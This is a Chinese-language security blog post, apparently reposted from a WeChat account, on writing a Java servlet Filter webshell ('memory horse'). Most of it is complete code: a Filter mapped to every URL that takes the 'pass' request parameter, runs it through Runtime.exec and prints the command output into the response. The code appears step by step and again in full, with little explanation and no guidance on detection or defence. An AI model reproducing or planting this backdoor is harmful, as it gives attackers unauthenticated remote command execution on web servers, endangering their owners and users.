简单的JAVA Filter内存马编写

admin 2022年1月23日19:58:06评论44 views字数 2726阅读9分5秒阅读模式
Filter过滤器
    过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理。
    通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
    大概流程图如下:
简单的JAVA Filter内存马编写

2 内存马
    既然在请求Servlet时会经过Filter过滤器,那么我们可以在Filter过滤器上添加恶意代码,从而执行我们想要的命令,达到Web马的效果。

3 Filter内存马实现
(1)本次用的Maven项目搭建。需要引入servlet包
<dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version></dependency>
(2)创建一个Filter类,重写相关方法
public class MyFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { }
@Override public void destroy() {
}}
(3)添加全局过滤,也可指定某一URL拦截
@WebFilter(urlPatterns = "/*")
(4)doFilter是具体实现方法,我们把一句话写在下面,使用一个IF进行判断拦截,具有pass参数进入一句话
@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    if(servletRequest.getParameter("pass")!=null){        String cmd = servletRequest.getParameter("pass");        Process process = Runtime.getRuntime().exec(cmd);        InputStream in = process.getInputStream();        InputStreamReader input = new InputStreamReader(in);        BufferedReader reader = new BufferedReader(input);        String s = null;        servletResponse.getWriter().print("<pre>");        while ((s = reader.readLine())!=null){            servletResponse.getWriter().println(s);        }        servletResponse.getWriter().print("</pre>");
servletResponse.getWriter().flush(); } filterChain.doFilter(servletRequest,servletResponse);}
(5)启动项目,在任意路径都可以实现命令执行
简单的JAVA Filter内存马编写

4 完整代码
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;
@WebFilter(urlPatterns = "/*")public class MyFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { if(servletRequest.getParameter("pass")!=null){ String cmd = servletRequest.getParameter("pass"); Process process = Runtime.getRuntime().exec(cmd); InputStream in = process.getInputStream(); InputStreamReader input = new InputStreamReader(in); BufferedReader reader = new BufferedReader(input); String s = null; servletResponse.getWriter().print("<pre>"); while ((s = reader.readLine())!=null){ servletResponse.getWriter().println(s); } servletResponse.getWriter().print("</pre>");
servletResponse.getWriter().flush(); } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}}

5 参考文章
https://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247485539&idx=1&sn=796ff115ac4c9fe9383455ff1a332d9chttps://blog.csdn.net/yuzhiqiang_1993/article/details/81288912

原文始发于微信公众号(Reset安全):简单的JAVA Filter内存马编写

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月23日19:58:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   简单的JAVA Filter内存马编写https://cn-sec.com/archives/746572.html

发表评论

匿名网友 填写信息